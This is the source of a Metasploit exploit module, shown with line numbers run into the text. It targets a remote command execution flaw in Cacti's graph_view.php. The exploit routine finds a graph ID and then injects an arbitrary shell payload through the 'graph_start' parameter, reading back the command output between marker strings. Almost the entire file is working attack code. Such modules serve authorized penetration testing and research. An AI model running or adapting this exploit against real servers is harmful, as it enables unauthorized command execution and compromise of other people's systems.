Path: blob/master/modules/exploits/unix/webapp/cacti_graphimage_exec.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Cacti graph_view.php Remote Command Execution',16'Description' => %q{17This module exploits an arbitrary command execution vulnerability in the18Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to190.8.6-d are vulnerable.20},21'Author' => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],22'License' => MSF_LICENSE,23'References' => [24[ 'OSVDB', '17539' ],25[ 'BID', '14042' ],26],27'Privileged' => false,28'Payload' => {29'DisableNops' => true,30'Space' => 512,31'Compat' =>32{33'PayloadType' => 'cmd',34'RequiredCmd' => 'generic perl ruby python telnet',35}36},37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'Targets' => [[ 'Automatic', {}]],40'DisclosureDate' => '2005-01-15',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),53]54)55end5657def exploit58# Obtain a valid image ID59res = send_request_cgi({60'uri' => normalize_uri(datastore['URI']),61'vars_get' =>62{63'action' => 'list'64}65}, 10)6667if (not res)68print_error("The server gave no response")69return70end7172m = res.body.match(/local_graph_id=(.*?)&/)73if (not m)74print_error("Could not locate a valid image ID")75return76end7778# Trigger the command execution bug79res = send_request_cgi({80'uri' => normalize_uri(datastore['URI']),81'vars_get' =>82{83'local_graph_id' => m[1],84'graph_start' => "\necho YYY;#{payload.encoded};echo YYY;echo\n"85}86}, 25)8788if (res)89print_status("The server returned: #{res.code} #{res.message}")90print("")9192m = res.body.match(/YYY(.*)YYY/)9394if (m)95print_status("Command output from the server:")96print(m[1])97else98print_status("This server may not be vulnerable")99end100101else102print_status("No response from the server")103end104end105end106107108